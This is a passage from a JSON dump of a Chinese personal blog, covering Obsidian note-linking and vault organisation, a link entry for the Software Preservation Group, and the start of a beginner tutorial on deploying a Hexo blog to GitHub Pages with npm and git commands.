href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%88%AB%E5%90%8D%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 别名引用\"\u003e\u003c/a\u003e超链接语法 - 别名引用\u003c/h4\u003e\u003cp\u003e别名引用的语法是\u003ccode\u003e[[Note Name | Alias]]\u003c/code\u003e,即在使用「双向链接」的时候,我们可以在输入的「笔记名称」后边输入一个「别名」,这种「双向链接」的添加方式称为「别名引用」。 \u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513540.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e别名引用带来的好处是,可以更准确的「表述」我们在原笔记中输入「双向链接」时想表达的意思。\u003c/p\u003e\u003ch4 id=\"超链接语法-嵌入引用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%B5%8C%E5%85%A5%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 嵌入引用\"\u003e\u003c/a\u003e超链接语法 - 嵌入引用\u003c/h4\u003e\u003cp\u003e嵌入引用的语法\u003ccode\u003e![[Note Name]]\u003c/code\u003e,即在使用「双向链接」的时候,我们可以在「双向链接」前边输入一个\u003ccode\u003e!\u003c/code\u003e(叹号),这种「双向链接」的添加方式称为「嵌入引用」。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513552.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e嵌入引用带来的好处是,我们无需跳转,直接在原笔记中查看到被引入的「新笔记」。\u003c/p\u003e\u003ch4 id=\"超链接语法-块引用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%9D%97%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 块引用\"\u003e\u003c/a\u003e超链接语法 - 块引用\u003c/h4\u003e\u003cp\u003e块引用的语法 \u003ccode\u003e[[Note Name ^]]\u003c/code\u003e ,既在使用「双向链接」的时候,我们可以在「双向链接」的后边输入 \u003ccode\u003e^\u003c/code\u003e ,此时我们可以将被链接的笔记中的某一行(包括它的从属段落)引入到当前笔记中。这种方式成为「块引用」。\u003c/p\u003e\u003cp\u003e块引用带来的好处是,我们可以将一篇笔记中的「某个段落」引入到当前笔记中,结合「别名引用」更容易帮我们表达它的意思,如图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513563.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e通过上面的说明,对于双链的使用应该已经熟悉了。接下来就是笔记库了。\u003c/p\u003e\u003ch3 id=\"笔记库结构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E7%AC%94%E8%AE%B0%E5%BA%93%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"笔记库结构\"\u003e\u003c/a\u003e笔记库结构\u003c/h3\u003e\u003cp\u003e大概可以分为下面几个部分。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e临时库\u003c/strong\u003e。用于存储随手摘录的内容以及灵感\u003c/li\u003e\u003cli\u003e草稿库。专门存放写作中的内容,一篇文章完成后就可将其移动到正式库中\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e正式库\u003c/strong\u003e。用于成体系地存放所有知识,会持续内增长,也就是信息的重组和聚合\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e归档库\u003c/strong\u003e。用于存放已经确认不会再有变化/失去维护兴趣的内容\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e临时库可以专门用Obsidian建立一个,也可以用其他地方,比如手机备忘录,浏览器收藏夹,这些都是可用的收集箱。\u003c/p\u003e\u003cp\u003e草稿库就是字面意思,放草稿用的。更准确的说,应该是一切进行中的内容。比如要写一篇关于计算机视觉的介绍文章,就可以在其中起草一篇文章,然后通过剪藏的内容完成写作。\u003c/p\u003e\u003cp\u003e正式库,也是最重要的库。它里面放置的内容应当是写作完成的信息,完整且高内聚低耦合的知识条目。对于其中的内容,我们应当持续维护。这里的维护就好比小根堆大根堆的维护,我们需要确定大多数时候其内容都应该按照树状/网状和其他内容相关联。维护的过程,就是复习和思考的过程。另外,正式库也可以按照自己的需求分为多个库,比如作为我,就会把计算机科学作为单独的一个主库,把数理等基础学科作为另一个单独的主库。这样在复习时,能保证一定的一致性和连贯性。\u003c/p\u003e\u003cp\u003e最后,是归档库。这么说来似乎不太好理解,但是可以类比成我们自己的思维周期:首先是接受零散信息,然后是逐渐组织起来自己的知识体系,然后对于一些不再关心的,过期的记忆,我们会选择把它“遗忘”——也可能是放在我们平时难以想起的地方。这么看来,这种知识管理方式,实际上相当符合我们的认知规律。另外如若接触过GitHub,对于归档(Archive)一词应当不陌生。它一般发生在仓库没有维护必要/维护者失去精力或者兴趣的时候。所以这实际上也可以看作是一种对于精力的节约?\u003c/p\u003e\u003cp\u003e借助这一套模式,我们可以更有条理地管理我们的毕生知识。\u003c/p\u003e\u003cp\u003e这几个库的管理我都借助Obsidian完成。因为几个目录中的内容并不会重复,我就只是在同一个笔记库中用几个不同的文件夹区分开了。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221214_003838.jpg]]\u003c/p\u003e\u003cp\u003e下面三个中的img是图片附件文件夹,另外两个忽略。上面四个分别是归档,草稿,剪藏和正式库。\u003c/p\u003e\u003ch2 id=\"0x04-第二大脑\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x04-%E7%AC%AC%E4%BA%8C%E5%A4%A7%E8%84%91\" class=\"headerlink\" title=\"0x04.第二大脑\"\u003e\u003c/a\u003e0x04.第二大脑\u003c/h2\u003e\u003cp\u003e这词就是这软件一直在标榜的。事实上它确实很像一个第二大脑。它可以帮我们高效率地回顾整理知识系统,让思考更有逻辑,更有迹可循。\u003c/p\u003e\u003cp\u003e这部分,我会从我的经验来说说用这个软件如何进行复习和思考。\u003c/p\u003e\u003ch3 id=\"学习\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E5%AD%A6%E4%B9%A0\" class=\"headerlink\" title=\"学习\"\u003e\u003c/a\u003e学习\u003c/h3\u003e\u003cp\u003e这个还是再说一下吧,利用黑曜石的学习其实就是\u003cstrong\u003e把剪藏的内容整理合并提取转换成一篇文章\u003c/strong\u003e,这产出就对应一个知识点。在这个过程中,双链不一定是必须项。比如在进行一个新领域的学习时,刚开始在现有体系中几乎没有关联项,这是正常的。当然,也可以反过来用这种方法,写作时,遇到陌生名词直接用双链标注出来,之后再创建对应条目进行学习。以此可以快速构建一个新的知识体系。\u003c/p\u003e\u003ch3 id=\"复习\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E5%A4%8D%E4%B9%A0\" class=\"headerlink\" title=\"复习\"\u003e\u003c/a\u003e复习\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e为了衬托所以提一下\u003c/del\u003e一般的笔记软件记下的东西基本都是浩如烟海,一个列表就展示完所有内容。当然,你也可能建几个文件夹,然后把一堆东西分成几堆放。在复习的时候,如果能一篇接着一篇笔记的看倒是还好,但是没有整理的话就难说了,光是笔记之间的跳跃性和非关联性就是能让你丧失复习意志力。如果是手写的整本电子笔记的话,进行顺序复习体验应该是最好的。\u003c/p\u003e\u003cp\u003e下面说说用黑曜石怎么复习。\u003c/p\u003e\u003cp\u003e黑曜石的数据以Markdown文件存储,只要在库目录中,嵌套文件夹就不影响结构。所以可以在知识图谱上把同类项全部移动到相同目录中,利用树状结构组织笔记。在线性复习时这帮助很大。我们也可以用图谱进行非线性的关联式复习,打开图谱,从一个节点开始,进行广度优先复习。这样的启发式复习或许能提高记忆的关联性,从而帮助记忆。\u003c/p\u003e\u003ch3 id=\"思考\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E6%80%9D%E8%80%83\" class=\"headerlink\" title=\"思考\"\u003e\u003c/a\u003e思考\u003c/h3\u003e\u003cp\u003e思维过程本质是冲动在神经元间的传递。同理,黑曜石也可以做到。通过知识图谱,能看到关联知识,并思考其关系。同时,对于二级关联节点,以至于三级关联节点,我们也可以思考其和主节点的关系,在这过程中,对链接/文档进行重组,产生新的知识和关系结构。这种思考能让知识库更有规律和秩序,也能让我们进行有效学习。\u003c/p\u003e\u003ch3 id=\"应用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E5%BA%94%E7%94%A8\" class=\"headerlink\" title=\"应用\"\u003e\u003c/a\u003e应用\u003c/h3\u003e\u003cp\u003e用自己的知识库去尝试解决问题。根据结果进行主库的维护和修正。遇到问题时,可以在库中搜索关键词,看看关联概念能否提供解决思路。比如我要写一篇人工智能在学习中的应用,就可以在知识图谱中找到人工智能的相关节点,按照广度优先的顺序对其他节点进行联想,借助这种方法找到写作的思路。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"},{"title":"Software Preservation Group","time":"2022-11-25T03:39:58Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003ca href=\"https://www.softwarepreservation.org/\"\u003eHomePage\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Software%20Preservation%20Group/"},{"title":"GitHub博客搭建","time":"2022-11-25T03:35:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e编辑 打算加一部分讲怎么更简洁地部署博客的教程。现在GitHub Actions已经很好用了,完全可以用它进一步简化博客部署步骤\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e博客站点是一种个人日志记录站点,也是Web1.0-2.0时代撑起互联网主体的重要部分之一。如今虽然它被各大APP不断挤占生存空间,但是它依旧重要:一篇高质量的博文,往往能够成为无数后人解决一个问题的宝贵参考资料。\u003c/p\u003e\u003cp\u003e对于个人而言,如何去写它,利用它由你决定。你可以用它宣传自己,可以把它当作自己的读书笔记甚至课程笔记,也可以用它去记录生活中的时时刻刻。你写出的内容,永远属于你,也可为你所用。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为了防止现场网速太拉,建议大家提前完成下面的准备工作\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备工作\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C\" class=\"headerlink\" title=\"准备工作\"\u003e\u003c/a\u003e准备工作\u003c/h2\u003e\u003ch3 id=\"软件安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E8%BD%AF%E4%BB%B6%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"软件安装\"\u003e\u003c/a\u003e软件安装\u003c/h3\u003e\u003cp\u003e首先需要在电脑上准备好用来写博客\u0026amp;生成静态站点的工具。需要在电脑上安装这些软件:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://npmmirror.com/mirrors/node/v18.12.1/node-v18.12.1-x64.msi\"\u003enode.js(点击下载)\u003c/a\u003e 它是我们安装hexo的工具\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://registry.npmmirror.com/-/binary/git-for-windows/v2.39.0.windows.2/Git-2.39.0.2-64-bit.exe\"\u003egit(点击下载)\u003c/a\u003e 我们用它向GitHub推送我们生成的静态站\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面的链接如果下不了,也可以看群文件or自己搜\u003c/p\u003e\u003cp\u003e注意:\u003cstrong\u003e安装node.js的时候,一定保证下图的\u003ccode\u003eAdd to PATH\u003c/code\u003e是确认的。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221125-112418.png\" alt=\"(*/ω\*)\"/\u003e\u003c/p\u003e\u003cp\u003e装好node.js之后,我们需要在电脑上安装\u003cstrong\u003ehexo\u003c/strong\u003e,这是生成博客站点的核心工具。\u003c/p\u003e\u003cp\u003e用\u003ccode\u003eWin+R\u003c/code\u003e键打开运行,输入\u003ccode\u003ecmd\u003c/code\u003e并回车,在随后弹出来的黑框框中输入下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install hexo-cli -g\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果网速太慢,可以用下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm --registry https://registry.npm.taobao.org install hexo-cli -g\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221125-112056.png\" alt=\"我装过了所以没有提示\"/\u003e\u003c/p\u003e\u003cp\u003e如果输出内容没有红底的\u003ccode\u003eERR\u003c/code\u003e,就说明装好了。\u003c/p\u003e\u003ch3 id=\"GitHub账号注册\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#GitHub%E8%B4%A6%E5%8F%B7%E6%B3%A8%E5%86%8C\" class=\"headerlink\" title=\"GitHub账号注册\"\u003e\u003c/a\u003eGitHub账号注册\u003c/h3\u003e\u003cp\u003e之后,我们还需要在GitHub上注册一个账号。\u003ca href=\"https://github.com/\"\u003e点击此处前往\u003c/a\u003e\u003c/p\u003e\u003cp\u003e在主页上找到Sign Up按钮,点击之后按照注册流程即可。\u003cstrong\u003e用户名和邮箱是重要信息,后面会用到\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221125-111839.png\" alt=\"或者中间那个也行\"/\u003e\u003c/p\u003e\u003cp\u003e随后我们还需要安装一个MarkDown编辑器,或者装了VS Code也可以用VS Code代替。\u003c/p\u003e\u003cp\u003e推荐几个 MarkDown 编辑器:Typora、Obsidian\u003c/p\u003e\u003ch2 id=\"开始搭建-ver-1\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%E6%90%AD%E5%BB%BA-ver-1\" class=\"headerlink\" title=\"开始搭建(ver.1)\"\u003e\u003c/a\u003e开始搭建(ver.1)\u003c/h2\u003e\u003ch3 id=\"初始化博客目录\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%88%9D%E5%A7%8B%E5%8C%96%E5%8D%9A%E5%AE%A2%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"初始化博客目录\"\u003e\u003c/a\u003e初始化博客目录\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003cem\u003e如何用cmd切换到对应文件夹\u003c/em\u003e:你可以在文件管理器里打开你的博客目录,然后在地址栏里输入\u003ccode\u003ecmd\u003c/code\u003e并回车,就像下面这样:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-182556.png\" alt=\"QAQ\"/\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e首先,\u003cstrong\u003e新建一个存放博文的文件夹\u003c/strong\u003e,例如我是放在\u003ccode\u003eC:/Users/[我的用户名]/blog/\u003c/code\u003e下的,你们也可以放在其他目录,比如\u003ccode\u003eD:/blog\u003c/code\u003e。创建对应的文件夹,并在那个目录打开\u003ccode\u003ecmd\u003c/code\u003e(参考上面的说明)(\u003cstrong\u003e这个cmd别关,别关,别关,后面大多数操作都会用它\u003c/strong\u003e)\u003c/p\u003e\u003cp\u003e然后,在\u003ccode\u003ecmd\u003c/code\u003e中,运行\u003ccode\u003ehexo init\u003c/code\u003e初始化博客仓库。这个过程可能比较缓慢,失败或者卡住不动的话可以按\u003ccode\u003eCtrl+C\u003c/code\u003e停止多试几次\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e像这样就完成了\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-184326.png\" alt=\"Warning什么的无视就好了\"/\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e此外,还需要安装下面的工具。在同一个框里继续输入就好了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm i hexo-deployer-git \u003cspan class=\"comment\"\u003e# git推送插件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enpm i hexo-server \u003cspan class=\"comment\"\u003e# 本地预览插件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enpm i hexo-generator-feed \u003cspan class=\"comment\"\u003e# RSS文件生成插件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-184500.png\" alt=\"这样就没有问题了,嗯\"/\u003e\u003c/p\u003e\u003ch3 id=\"建立仓库\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BB%BA%E7%AB%8B%E4%BB%93%E5%BA%93\" class=\"headerlink\" title=\"建立仓库\"\u003e\u003c/a\u003e建立仓库\u003c/h3\u003e\u003cp\u003e在GitHub上建立仓库,**名称必须是\u003ccode\u003eusername.github.io\u003c/code\u003e**,其中,\u003ccode\u003eusername\u003c/code\u003e是你的用户名,其余选项默认即可,如下图所示(我已经创建过了所以会标红)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221127193522.png\"/\u003e\u003c/p\u003e\u003cp\u003e接着,还是在上面的命令行窗口中,输入下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global user.name \u003cspan class=\"string\"\u003e\u0026#34;[username]\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config --global user.email \u003cspan class=\"string\"\u003e\u0026#34;[email]\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e把上面的\u003ccode\u003e[username]\u003c/code\u003e和\u003ccode\u003e[email]\u003c/code\u003e换成你的GitHub用户名和注册邮箱即可。\u003c/p\u003e\u003ch3 id=\"配置远程推送\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%85%8D%E7%BD%AE%E8%BF%9C%E7%A8%8B%E6%8E%A8%E9%80%81\" class=\"headerlink\" title=\"配置远程推送\"\u003e\u003c/a\u003e配置远程推送\u003c/h3\u003e\u003cp\u003e完成后,打开博客文件夹,打开\u003ccode\u003e_config.yml\u003c/code\u003e并翻到最底下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-184838.png\" alt=\"就是框选的部分\"/\u003e\u003c/p\u003e\u003cp\u003e把这部分用下面的部分覆盖:\u003c/p\u003e\u003cfigure class=\"highlight yaml\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edeploy:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etype:\u003c/span\u003e \u003cspan class=\"string\"\u003egit\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003erepo:\u003c/span\u003e \u003cspan class=\"string\"\u003ehttps://github.com/[username]/[username].github.io.git\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebranch:\u003c/span\u003e \u003cspan class=\"string\"\u003emain\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,把\u003ccode\u003e[username]\u003c/code\u003e替换为你的GitHub用户名即可。\u003c/p\u003e\u003cp\u003e最后,还是在上面的命令行窗口中,执行\u003ccode\u003ehexo clean \u0026amp;\u0026amp; hexo d\u003c/code\u003e,等待完成即可。\u003c/p\u003e\u003cp\u003e这个过程中,会让你输入GitHub账号密码,跟随提示输入即可。\u003c/p\u003e\u003ch3 id=\"验证\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%AA%8C%E8%AF%81\" class=\"headerlink\" title=\"验证\"\u003e\u003c/a\u003e验证\u003c/h3\u003e\u003cp\u003e完成之后,在浏览器里访问\u003ccode\u003ehttps://[username].github.io\u003c/code\u003e,能看见下面的界面就代表推送配置成功了:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-190658.png\" alt=\"(*/ω\*)\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e如果没有成功,可以等待2分钟再打开看看。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e由于网络问题,上面涉及GitHub和npm的部分,可能会遇到很慢甚至卡死的情况。这种情况只能试几次或者搭梯子解决。\u003c/p\u003e\u003cp\u003e或者,也可以先在本地验证博客是否正确配置。还是在上面的命令行窗口中,输入\u003ccode\u003ehexo s\u003c/code\u003e,完成后在浏览器里粘贴并打开网址:\u003ccode\u003e127.0.0.1:4000\u003c/code\u003e,我们就能看到博客是否正确配置。\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"开始搭建-ver-2\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%E6%90%AD%E5%BB%BA-ver-2\" class=\"headerlink\" title=\"开始搭建(ver.2)\"\u003e\u003c/a\u003e开始搭建(ver.2)\u003c/h2\u003e\u003cp\u003e第二版的教程会借助\u003ccode\u003eGitHub Action\u003c/code\u003e来让博客搭建变得更简单,而且让你的文章目录更加简洁,可维护。\u003c/p\u003e\u003cp\u003e在搭建完成后,我们会得到一个只包含原来的\u003ccode\u003esource\u003c/code\u003e目录下所有文件的新的目录。并且在编写完成后,只需要使用\u003ccode\u003egit push\u003c/code\u003e将我们写好的博文推送到GitHub就完成了所有的步骤。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意:这个版本的教程可能需要一些常用开发工具的使用经验,建议小白先试试上面那个版本的\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"准备?\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%87%86%E5%A4%87%EF%BC%9F\" class=\"headerlink\" 